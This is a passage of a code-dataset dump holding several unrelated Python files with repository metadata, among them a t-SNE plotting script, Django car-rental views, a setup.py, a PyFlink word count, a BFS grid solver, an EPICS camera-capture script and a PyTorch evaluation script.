#dark green\n elif set([\"E323V\"]).issubset(mut):\n #print(\"%d: %s\" % (countdata[\"totalcount\"][i], \" \".join(mut)))\n founder_colors[i] = \"#b2df8a\" #light green\n elif set([\"P119Q\"]).issubset(mut):\n #print(\"%d: %s\" % (countdata[\"totalcount\"][i], \" \".join(mut)))\n founder_colors[i] = \"#a6cee3\" #light blue\n elif set([\"D308V\"]).issubset(mut):\n #print(\"%d: %s\" % (countdata[\"totalcount\"][i], \" \".join(mut)))\n founder_colors[i] = \"#cab2d6\" #purple\n\n\n#More candidates: T123I, R102S, A64E\n\n#Colors from https://colorbrewer2.org/#type=qualitative&scheme=Paired&n=9\n#a6cee3\" #light blue\n#1f78b4\" #dark blue\n#b2df8a\" #light green\n#33a02c\" #dark green\n#fb9a99\" #light red\n#e31a1c\" #dark red\n#fdbf6f\" #light yelow\n#ff7f00\" #dark yellow\n#cab2d6\" #purple\n\n\nsizes = [c+2 for c in countdata[\"totalcount\"]]\n\nplt.figure(figsize=(7,6))\nplt.scatter(Xtsne[:,0], Xtsne[:,1], s=sizes, c=founder_colors, edgecolors=\"k\", linewidths=0.3) \nplt.axis('off')\nplt.savefig(\"tSNE_by-founder.png\", bbox_inches=\"tight\")\n", "repo_name": "fhlab/UMIC-seq", "sub_path": "figures/Fig. 3/Fig3-tSNE.py", "file_name": "Fig3-tSNE.py", "file_ext": "py", "file_size_in_byte": 5319, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 12, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pandas.read_csv", "line_number": 12, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 33, "usage_type": "call"}, {"api_name": "sklearn.manifold.TSNE", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.select", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.select", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 57, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 58, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 128, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 128, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 129, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 129, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 130, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 130, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 131, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 131, "usage_type": "name"}]} {"seq_id": "72962455262", "text": "from django.shortcuts import render,redirect\nfrom django.http import HttpResponse\nfrom .forms import UserRegistrationForm,loginForm,owned_cars,search,bookings\nfrom django.contrib.auth import authenticate,login,logout\nfrom django.contrib import messages\nfrom .models import owned_cars as carModel,bookings as bookModel\nfrom django.contrib.auth.models import User\nimport re\n# Create your views here.\nmatch=re.search\ndef home(request):\n form = UserRegistrationForm()\n Lform= loginForm()\n check='False' \n errorMess=False\n SearchCar=search(request.GET)\n opt=None\n Display_cars=carModel.objects.all()\n checkM=Display_cars.values_list('make',flat=True)\n option=None\n name=None\n email=None\n bookObj=bookModel()\n book=bookings()\n obj2=bookModel.objects.all()\n checkPs=obj2.values_list('cars',flat=True)\n \n \n if request.method == 'POST' and 'SgU' in request.POST:\n form = UserRegistrationForm(request.POST) \n Lform= loginForm() \n if form.is_valid():\n form.save()\n user=authenticate(request,username=Lform.data.get('username'),password=Lform.data.get('password'))\n if user is not None:\n login(request,user) \n return redirect('rental_app-rentals')\n else:\n check='True'\n elif request.method == 'POST' and 'SgI' in request.POST:\n form = UserRegistrationForm()\n Lform= loginForm(request.POST)\n user=authenticate(request,username=Lform.data.get('username'),password=Lform.data.get('password'))\n if user is not None:\n login(request,user)\n messages.success(request,'sent successfully')\n return redirect('rental_app-rentals')\n else:\n check='True2'\n errorMess='Enter correct Username or Password'\n messages.error(request,'could not log into account')\n elif request.method == 'GET' and 'DispBook' in request.GET:\n check='True3'\n name=request.GET['DispBook'] \n obj3=carModel.objects.filter(pk=name).first()\n temp=User.objects.filter(pk=obj3.user.id).first()\n bookObj=bookModel(user=temp,cars=obj3)\n book=bookings(instance=bookObj) \n email=temp.email\n elif request.method == 'GET' and 'SRH' in request.GET:\n opt=SearchCar.data.get('searchF')\n option=[i for i in checkM if match(opt.lower(),i.lower()) and i != ' ']\n if option:\n pass\n else:\n option=False\n elif request.method == 'POST' and 'BK' in request.POST: \n book=bookings(request.POST,instance=bookObj)\n if book.is_valid():\n check='False'\n book.save()\n messages.success(request,'sent successfully')\n else:\n check='True3'\n messages.error(request,'could not send request')\n return render(request,'rental_app/home.html',\n {'Regform':form,'checkP':checkPs,'Logform':Lform,'check':check,'msg':errorMess,'DispCars':Display_cars,'sh':SearchCar,'opt':option,'Lender':email,'DateB':book})\n\n\n\n\ndef rentals(request):\n user_id=None\n delt=None\n delt2=None\n carsid=None\n reqc=bookModel.objects.filter(user=request.user) \n if reqc:\n carsid=reqc.values_list('cars',flat=True) \n cars=carModel.objects.filter(user=request.user)\n\n \"\"\" if request.user.is_authenticated:\n user_id=request.user.id \"\"\"\n\n obj=carModel(user=request.user)\n Cform=owned_cars(instance=obj)\n DispCar=carModel.objects.filter(user=request.user)\n if request.method == 'POST' and 'logout' in request.POST:\n logout(request)\n return redirect('rental_app-home')\n elif request.method == 'POST' and 'Det' in request.POST: \n Cform=owned_cars(request.POST,request.FILES)\n if Cform.is_valid():\n Cform.save()\n else:\n messages.error(request,f'could not send for ')\n elif request.method == 'GET' and 'Delete' in request.GET:\n delt=request.GET['Delete']\n obj4=carModel.objects.filter(id=delt).first()\n obj4.delete()\n elif request.method == 'GET' and 'available' in request.GET:\n delt2=request.GET['available']\n obj5=bookModel.objects.filter(id=delt2).first() \n obj5.delete()\n reqc=bookModel.objects.filter(user=request.user) \n return render(request,'rental_app/rental_page.html',\n {'CarForm':Cform,'car_disp':DispCar,'reqc':reqc,'cars':cars,'Crid':carsid}) \n", "repo_name": "fesgic/car_rental", "sub_path": "rental_app/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 4483, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "re.search", "line_number": 10, "usage_type": "attribute"}, {"api_name": "forms.UserRegistrationForm", "line_number": 12, "usage_type": "call"}, {"api_name": "forms.loginForm", "line_number": 13, "usage_type": "call"}, {"api_name": "forms.search", "line_number": 16, "usage_type": "call"}, {"api_name": "models.owned_cars.objects.all", "line_number": 18, "usage_type": "call"}, {"api_name": "models.owned_cars.objects", "line_number": 18, "usage_type": "attribute"}, {"api_name": "models.owned_cars", "line_number": 18, "usage_type": "name"}, {"api_name": "models.bookings", "line_number": 23, "usage_type": "call"}, {"api_name": "forms.bookings", "line_number": 24, "usage_type": "call"}, {"api_name": "models.bookings.objects.all", "line_number": 25, "usage_type": "call"}, {"api_name": "models.bookings.objects", "line_number": 25, "usage_type": "attribute"}, {"api_name": "models.bookings", "line_number": 25, "usage_type": "name"}, {"api_name": "forms.UserRegistrationForm", "line_number": 30, "usage_type": "call"}, {"api_name": "forms.loginForm", "line_number": 31, "usage_type": "call"}, {"api_name": "django.contrib.auth.authenticate", "line_number": 34, "usage_type": "call"}, {"api_name": "django.contrib.auth.login", "line_number": 36, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 37, "usage_type": "call"}, {"api_name": "forms.UserRegistrationForm", "line_number": 41, "usage_type": "call"}, {"api_name": "forms.loginForm", "line_number": 42, "usage_type": "call"}, {"api_name": "django.contrib.auth.authenticate", "line_number": 43, "usage_type": "call"}, {"api_name": "django.contrib.auth.login", "line_number": 45, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 46, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 46, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 47, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 51, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 51, "usage_type": "name"}, {"api_name": "models.owned_cars.objects.filter", "line_number": 55, "usage_type": "call"}, {"api_name": "models.owned_cars.objects", "line_number": 55, "usage_type": "attribute"}, {"api_name": "models.owned_cars", "line_number": 55, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.filter", "line_number": 56, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 56, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 56, "usage_type": "name"}, {"api_name": "models.bookings", "line_number": 57, "usage_type": "call"}, {"api_name": "forms.bookings", "line_number": 58, "usage_type": "call"}, {"api_name": "forms.bookings", "line_number": 68, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 72, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 72, "usage_type": "name"}, {"api_name": "django.contrib.messages.error", "line_number": 75, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 75, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 76, "usage_type": "call"}, {"api_name": "models.bookings.objects.filter", "line_number": 87, "usage_type": "call"}, {"api_name": "models.bookings.objects", "line_number": 87, "usage_type": "attribute"}, {"api_name": "models.bookings", "line_number": 87, "usage_type": "name"}, {"api_name": "models.owned_cars.objects.filter", "line_number": 90, "usage_type": "call"}, {"api_name": "models.owned_cars.objects", "line_number": 90, "usage_type": "attribute"}, {"api_name": "models.owned_cars", "line_number": 90, "usage_type": "name"}, {"api_name": "models.owned_cars", "line_number": 95, "usage_type": "call"}, {"api_name": "forms.owned_cars", "line_number": 96, "usage_type": "call"}, {"api_name": "models.owned_cars.objects.filter", "line_number": 97, "usage_type": "call"}, {"api_name": "models.owned_cars.objects", "line_number": 97, "usage_type": "attribute"}, {"api_name": "models.owned_cars", "line_number": 97, "usage_type": "name"}, {"api_name": "django.contrib.auth.logout", "line_number": 99, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 100, "usage_type": "call"}, {"api_name": "forms.owned_cars", "line_number": 102, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 106, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 106, "usage_type": "name"}, {"api_name": "models.owned_cars.objects.filter", "line_number": 109, "usage_type": "call"}, {"api_name": "models.owned_cars.objects", "line_number": 109, "usage_type": "attribute"}, {"api_name": "models.owned_cars", "line_number": 109, "usage_type": "name"}, {"api_name": "models.bookings.objects.filter", "line_number": 113, "usage_type": "call"}, {"api_name": "models.bookings.objects", "line_number": 113, "usage_type": "attribute"}, {"api_name": "models.bookings", "line_number": 113, "usage_type": "name"}, {"api_name": "models.bookings.objects.filter", "line_number": 115, "usage_type": "call"}, {"api_name": "models.bookings.objects", "line_number": 115, "usage_type": "attribute"}, {"api_name": "models.bookings", "line_number": 115, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 116, "usage_type": "call"}]} {"seq_id": "71642315423", "text": "# /usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\n.. codeauthor:: Cédric Dumay \n\n\"\"\"\n\nimport json\nimport os\nfrom configparser import ConfigParser\n\nimport distutils.cmd\nimport setuptools\n\nconfig = ConfigParser()\nconfig.read(\"setup.cfg\")\n\nextras_require = {}\nif \"options.extras_require\" in config:\n for key, value in config[\"options.extras_require\"].items():\n extras_require[key] = [v for v in value.split(\"\\n\") if v.strip()]\n\nBASE_DIR = os.path.dirname(__file__)\nPACKAGE_INFO = {}\n\nVERSION_FILENAME = os.path.join(\n BASE_DIR,\n \"src\",\n \"opentelemetry\",\n \"instrumentation\",\n \"kser\",\n \"version.py\",\n)\nwith open(VERSION_FILENAME) as f:\n exec(f.read(), PACKAGE_INFO)\n\nPACKAGE_FILENAME = os.path.join(\n BASE_DIR,\n \"src\",\n \"opentelemetry\",\n \"instrumentation\",\n \"kser\",\n \"package.py\",\n)\nwith open(PACKAGE_FILENAME) as f:\n exec(f.read(), PACKAGE_INFO)\n\n# Mark any instruments/runtime dependencies as test dependencies as well.\nextras_require[\"instruments\"] = PACKAGE_INFO[\"_instruments\"]\ntest_deps = extras_require.get(\"test\", [])\nfor dep in extras_require[\"instruments\"]:\n test_deps.append(dep)\n\nextras_require[\"test\"] = test_deps\n\n\nclass JSONMetadataCommand(distutils.cmd.Command):\n description = (\n \"print out package metadata as JSON. This is used by OpenTelemetry dev scripts to \",\n \"auto-generate code in other places\",\n )\n user_options = []\n\n def initialize_options(self):\n pass\n\n def finalize_options(self):\n pass\n\n def run(self):\n metadata = {\n \"name\": config[\"metadata\"][\"name\"],\n \"version\": PACKAGE_INFO[\"__version__\"],\n \"instruments\": PACKAGE_INFO[\"_instruments\"],\n }\n print(json.dumps(metadata))\n\n\nsetuptools.setup(\n cmdclass={\"meta\": JSONMetadataCommand},\n version=PACKAGE_INFO[\"__version__\"],\n extras_require=extras_require,\n long_description=open('README.rst', 'r').read().strip(),\n)\n", "repo_name": "cdumay/opentelemetry-instrumentation-kser", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 1983, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "configparser.ConfigParser", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path", "line_number": 38, "usage_type": "attribute"}, {"api_name": "distutils.cmd.cmd", "line_number": 58, "usage_type": "attribute"}, {"api_name": "distutils.cmd", "line_number": 58, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 77, "usage_type": "call"}, {"api_name": "setuptools.setup", "line_number": 80, "usage_type": "call"}]} {"seq_id": "20983548666", "text": "from pyflink.table import EnvironmentSettings, BatchTableEnvironment\n\n# https://ci.apache.org/projects/flink/flink-docs-release-1.12/dev/python/table_api_tutorial.html\n\nenv_settings = EnvironmentSettings.new_instance().in_batch_mode().use_blink_planner().build()\ntable_env = BatchTableEnvironment.create(environment_settings=env_settings)\ntable_env.get_config().get_configuration().set_string(\"parallelism.default\", \"1\")\n\nmy_source_ddl = \"\"\"\n create table mySource (\n word VARCHAR\n ) with (\n 'connector' = 'filesystem',\n 'format' = 'csv',\n 'path' = '/tmp/input'\n )\n\"\"\"\n\nmy_sink_ddl = \"\"\"\n create table mySink (\n word VARCHAR,\n `count` BIGINT\n ) with (\n 'connector' = 'filesystem',\n 'format' = 'csv',\n 'path' = '/tmp/output'\n )\n\"\"\"\n\ntransform_dml = \"\"\"\nINSERT INTO mySink\nSELECT word, COUNT(1) FROM mySource GROUP BY word\n\"\"\"\n\ntable_env.execute_sql(my_source_ddl)\ntable_env.execute_sql(my_sink_ddl)\ntable_env.execute_sql(transform_dml).wait()\n\n# before run: echo -e \"flink\\npyflink\\nflink\" > /tmp/input\n# after run: cat /tmp/output\n\n", "repo_name": "YikSanChan/pyflink-quickstart", "sub_path": "WordCount.py", "file_name": "WordCount.py", "file_ext": "py", "file_size_in_byte": 1114, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pyflink.table.EnvironmentSettings.new_instance", "line_number": 5, "usage_type": "call"}, {"api_name": "pyflink.table.EnvironmentSettings", "line_number": 5, "usage_type": "name"}, {"api_name": "pyflink.table.BatchTableEnvironment.create", "line_number": 6, "usage_type": "call"}, {"api_name": "pyflink.table.BatchTableEnvironment", "line_number": 6, "usage_type": "name"}]} {"seq_id": "7085042125", "text": "from collections import deque\r\nfrom itertools import combinations\r\nimport copy\r\n\r\nn, m = map(int, input().split())\r\n\r\narr = [list(map(int, input().split())) for _ in range(n)]\r\nvisit = [[0]*m for _ in range(n)]\r\n\r\ndirecty = [1,-1,0,0]\r\ndirectx = [0,0,1,-1]\r\n\r\nsafe = 0\r\n\r\ndef bfs(i,j, temp_visit, temp_arr):\r\n q = deque()\r\n q.append((i,j))\r\n\r\n while q:\r\n y, x = q.popleft()\r\n for k in range(4):\r\n dy = directy[k] + y\r\n dx = directx[k] + x\r\n if 0 <= dy < n and 0 <= dx < m:\r\n if temp_arr[dy][dx] == 0 and temp_visit[dy][dx]==0:\r\n temp_arr[dy][dx] = 2\r\n temp_visit[dy][dx]=1\r\n q.append((dy, dx))\r\n\r\n\r\ntemp = []\r\nfor i in range(n):\r\n for j in range(m):\r\n if arr[i][j]==0:\r\n temp.append([i,j])\r\n\r\npicks = list(combinations(temp,3))\r\n\r\nfor pick in picks:\r\n temp_arr = copy.deepcopy(arr)\r\n temp_visit = copy.deepcopy(visit)\r\n\r\n for tm in pick:\r\n temp_arr[tm[0]][tm[1]] = 1 # 벽으로 설정\r\n\r\n for i in range(n):\r\n for j in range(m):\r\n if temp_arr[i][j] == 2 and temp_visit[i][j] == 0:\r\n temp_visit[i][j] = 1\r\n bfs(i, j, temp_visit, temp_arr)\r\n\r\n count = 0\r\n for i in range(n):\r\n for j in range(m):\r\n if temp_arr[i][j] == 0:\r\n count += 1\r\n\r\n safe = max(safe, count)\r\n\r\nprint(safe)", "repo_name": "Hwon-J/pract", "sub_path": "백준/Gold/14502. 연구소/연구소.py", "file_name": "연구소.py", "file_ext": "py", "file_size_in_byte": 1435, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "collections.deque", "line_number": 16, "usage_type": "call"}, {"api_name": "itertools.combinations", "line_number": 37, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 40, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 41, "usage_type": "call"}]} {"seq_id": "4387138911", "text": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nimport os\nimport re\nimport enum\nimport typing\n\n# Holds the root path to the ontology and relative path to a file from the root\nPathParts = typing.NamedTuple('PathParts', [('root', str),\n ('relative_path', str)])\n\nGOOGLE3_REGEX = re.compile(r'^.*google3/(.*$)')\n# Isolates the first segment of a typename, typically the equipment class\nEQUIPMENT_CLASS_REGEX = re.compile(r'^(.*/)?([a-zA-Z]+)(_.*)*$')\nGLOBAL_NAMESPACE = ''\n\nDEPRECATED_TYPES = frozenset([\n 'DEPRECATED', '/DEPRECATED', 'HVAC/DEPRECATED', 'INCOMPLETE', '/INCOMPLETE',\n 'HVAC/INCOMPLETE'\n])\n\n\nclass ComponentType(enum.Enum):\n \"\"\"Possible component types for a folder to contain.\"\"\"\n SUBFIELD = 'subfields'\n MULTI_STATE = 'states'\n FIELD = 'fields'\n ENTITY_TYPE = 'entity_types'\n UNIT = 'units'\n CONNECTION = 'connections'\n\n @classmethod\n def FromString(cls, value: str):\n \"\"\"Returns a ComponentType instance matching the provided string.\"\"\"\n for _, member in cls.__members__.items():\n if member.value == value:\n return member\n raise LookupError('Invalid component: ' + value)\n\n\ndef GetTreeLocation(relpath: str):\n \"\"\"Returns folderpath and ComponentType obtained from parsing a path.\n\n Given a relative path from the root of the ontology, the method identifies the\n path to the top level of the compoment folder and the ComponentType of the\n folder.\n\n Args:\n relpath: relative path to the folder from ontology root.\n\n Raises:\n ValueError: if the path cannot be parsed according to folder structure rules\n \"\"\"\n\n testpath = relpath\n component = None\n folderpath = None\n leading_directories = 0\n while testpath:\n path_pair = os.path.split(testpath)\n if component:\n leading_directories += 1\n else:\n try:\n component = ComponentType.FromString(path_pair[1])\n folderpath = testpath\n except LookupError:\n pass\n testpath = path_pair[0]\n\n if leading_directories > 1 or not component:\n raise ValueError('Invalid directory name: ' + relpath)\n\n return folderpath, component\n\n\ndef HasDeprecatedType(parent_names):\n \"\"\"True if list contains a DEPRECATED or INCOMPLETE type name.\n\n Args:\n parent_names: a list of parent names from an entity. qualified or not\n \"\"\"\n return DEPRECATED_TYPES.intersection(parent_names)\n\n\ndef GetEquipmentClass(typename):\n \"\"\"Parses out the equipment class from a typename.\n\n Args:\n typename: a relative or fully qualified typename\n\n Returns:\n The equipment class string or None\n \"\"\"\n p_match = EQUIPMENT_CLASS_REGEX.match(typename)\n if p_match:\n return p_match.group(2)\n return None\n\n\ndef GetGoogle3RelativePath(path):\n \"\"\"Parses out google3 local path from an absolute path.\n\n Args:\n path: a path to a directory in google3\n\n Returns:\n the relative path to google3 with no leading / or None\n \"\"\"\n\n m = GOOGLE3_REGEX.match(path)\n if m is not None:\n return m.group(1)\n return None\n", "repo_name": "google/digitalbuildings", "sub_path": "tools/validators/ontology_validator/yamlformat/validator/base_lib.py", "file_name": "base_lib.py", "file_ext": "py", "file_size_in_byte": 3054, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 329, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.NamedTuple", "line_number": 10, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 13, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 15, "usage_type": "call"}, {"api_name": "enum.Enum", "line_number": 24, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 61, "usage_type": "call"}, {"api_name": "os.path", "line_number": 61, "usage_type": "attribute"}]} {"seq_id": "23826625660", "text": "import epics\nimport time\nimport subprocess\nimport getpass\nimport os\nfrom datetime import date\nimport shutil\n\n# Getting the handles for CSS \nacq = epics.PV('XF:17IDB-ES:AMX{Cam:14}cam1:Acquire')\nimg_mode = epics.PV('XF:17IDB-ES:AMX{Cam:14}cam1:ImageMode')\ndata_type = epics.PV('XF:17IDB-ES:AMX{Cam:14}cam1:DataType')\nsave_file = epics.PV('XF:17IDB-ES:AMX{Cam:14}JPEG1:WriteFile')\n\n# Method to take an image\ndef take_picture():\n\n # Change the settings to take the picture and capture the image\n acq.put(0)\n img_mode.put(0)\n data_type.put(0)\n time.sleep(0.5)\n acq.put(1)\n time.sleep(0.5)\n save_file.put(1)\n\n # Put the camera back to the original settings\n time.sleep(0.5)\n img_mode.put(2)\n data_type.put(1)\n acq.put(1)\n\ndef take_image(todays_dir, inner_dir):\n today = date.today().strftime('%b_%d_%Y')\n inner_dir = os.path.join(todays_dir, inner_dir)\n\n # Entering the new directory into CSS\n epics.PV('XF:17IDB-ES:AMX{Cam:14}JPEG1:FilePath').put(inner_dir)\n\n # Entering the new image name into CSS\n user_name = getpass.getuser()\n epics.PV('XF:17IDB-ES:AMX{Cam:14}JPEG1:FileName').put(user_name)\n\n # Turing the mult-image filter on\n epics.PV('XF:17IDB-ES:AMX{Cam:14}Proc1:EnableFilter').put(1)\n\n print('Taking image')\n\n take_picture()\n\n # Getting the image information to pass to the calling function\n img = epics.caget('XF:17IDB-ES:AMX{Cam:14}JPEG1:FileName', as_string=True) + '_' + \\\n str(epics.PV(\n 'XF:17IDB-ES:AMX{Cam:14}JPEG1:FileNumber').get() - 1).zfill(3) + '.jpg'\n\n return img\n\n# Resetting the camera\ndef post_image():\n time.sleep(0.5)\n img_mode.put(2)\n data_type.put(1)\n acq.put(1)\n epics.PV('XF:17IDB-ES:AMX{Cam:14}Proc1:EnableFilter').put(0)\n\nif __name__ == \"main\":\n take_picture()\n", "repo_name": "samuelmc91/puck_visualization", "sub_path": "bin/take_pic.py", "file_name": "take_pic.py", "file_ext": "py", "file_size_in_byte": 1809, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "epics.PV", "line_number": 10, "usage_type": "call"}, {"api_name": "epics.PV", "line_number": 11, "usage_type": "call"}, {"api_name": "epics.PV", "line_number": 12, "usage_type": "call"}, {"api_name": "epics.PV", "line_number": 13, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 22, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 24, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 28, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 34, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 34, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path", "line_number": 35, "usage_type": "attribute"}, {"api_name": "epics.PV", "line_number": 38, "usage_type": "call"}, {"api_name": "getpass.getuser", "line_number": 41, "usage_type": "call"}, {"api_name": "epics.PV", "line_number": 42, "usage_type": "call"}, {"api_name": "epics.PV", "line_number": 45, "usage_type": "call"}, {"api_name": "epics.caget", "line_number": 52, "usage_type": "call"}, {"api_name": "epics.PV", "line_number": 53, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 60, "usage_type": "call"}, {"api_name": "epics.PV", "line_number": 64, "usage_type": "call"}]} {"seq_id": "35030914124", "text": "# -*- coding: utf-8 -*-\r\nfrom tqdm import tqdm\r\nimport requests\r\n\r\nurl=\"https://cdnm.meln.top/mr/Aventura%20-%20Cuando%20Volveras.mp3?session_key=69e46c3bf738ecc46eb521c7547462f2&hash=04042964424a6d1682b5f315d3188253\"\r\nfile=requests.get(url,stream=True)\r\nsize=int(file.headers['Content-Length'])\r\n\r\nchunk=1024\r\n\r\nbar=tqdm(iterable=file.iter_content(chunk_size = chunk),total=size/chunk)\r\nfw=open(\"file.mp3\",\"wb\")\r\n\r\nfor bs in bar:\r\n fw.write(bs)\r\n\r\n\r\n\r\n\r\nfw.close()\r\n\r\n\r\n\r\n\r\n", "repo_name": "jheffat/Codes_Lab", "sub_path": "Progessbar-Example/dw TQDM.py", "file_name": "dw TQDM.py", "file_ext": "py", "file_size_in_byte": 479, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "requests.get", "line_number": 6, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 11, "usage_type": "call"}]} {"seq_id": "37010807986", "text": "# -------------------------\n# FEATURE CONCATENTTION\n# -------------------------\n\nimport torch\nimport torch.autograd as autograd\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\n\nfrom torch.utils.data.dataset import Dataset\nfrom torch.utils.data import DataLoader\n\nimport pandas as pd \nimport ast\nimport os\nimport logging\nimport pickle\nimport numpy as np\n\n\nclass DataSet(Dataset):\n def __init__(self, image_list, image_dir, feature_pickle, device, skip_frame=False):\n self.imgs = pd.read_csv(image_list) \n self.features = pickle.load( open(feature_pickle, \"rb\" ))\n self.image_dir = image_dir\n self.device = device\n self.skip = skip_frame\n\n def __len__(self):\n return len(self.imgs)\n\n def __getitem__(self, index):\n row = self.imgs.iloc[index, :]\n video = row[0]\n frames = ast.literal_eval(row[1])\n labels = ast.literal_eval(row[2])\n if self.skip:\n # KEEP EVERY OTHER FRAME\n frames = frames[::2]\n labels = labels[::2]\n files = [video + \"/%03d.jpg\"%x for x in frames]\n # concatenate features into one large vector\n features = torch.cat([torch.Tensor(self.features[f]) for f in files], 0)\n label = torch.tensor(float(1 in labels))\n if self.device:\n features = features.to(self.device)\n label = label.to(self.device)\n sample = {'features': features, 'filename': files, 'label': label}\n return sample\n\nclass LinearLayer(nn.Module):\n def __init__(self, feature_dim, num_frames):\n super(LinearLayer, self).__init__()\n self.device = device\n self.linear = nn.Linear(feature_dim * num_frames, 1)\n\n def forward(self, feature_vector):\n logic = self.linear(feature_vector)\n m = nn.Sigmoid()\n prob = m(logic)\n return prob \n\ndef evaluate(model, device, loader):\n\n # set to eval mode\n model.eval()\n # save file names and predictions\n \n # enumerate over data loader\n #logging.info(output_dir)\n start = timer()\n #logging.info('START ' + start)\n #print('START ' + datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S.%f')[:-3])\n for i in range(args.trials):\n for _, data_batch in enumerate(loader):\n x_batch = data_batch['features']\n y_batch = data_batch['label'] \n prob = model(x_batch)\n pred_label = int(prob.data[0].cpu().numpy()> 0.5)\n end = timer()\n #ogging.info('END ' + end)\n duration = end - start\n logging.info(\"{}: {}\".format(output_dir, duration/args.trials))\n print(\"average \", duration/args.trials)\n\nif __name__ == '__main__':\n import argparse\n from timeit import default_timer as timer\n\n parser = argparse.ArgumentParser(\"Test dataset\")\n parser.add_argument(\"--image_dir\", type=str, default=\"data\", help=\"image dir\")\n parser.add_argument(\"--gpu_id\", type=int, default=0, help=\"gpu id\")\n parser.add_argument(\"--seq_length\", type=int, default=12, help=\"4 | 6 | 8 | 10 | 12\")\n parser.add_argument(\"--type\", type=str, help=\"resnet | basic\")\n parser.add_argument(\"--checkpoint\", type=int, default=49, help=\"checkpoint epoch\")\n parser.add_argument(\"--skip_frame\", type=int, default=0, help=\"1 = skip\")\n parser.add_argument(\"--trials\", type=int, default=100, help=\"1 = skip\")\n parser.add_argument(\"--add_args\", type=str, default=\"SINGLE\", help=\"SINGLE | MEDIUM\")\n\n args = parser.parse_args()\n #print (args)\n output_dir = 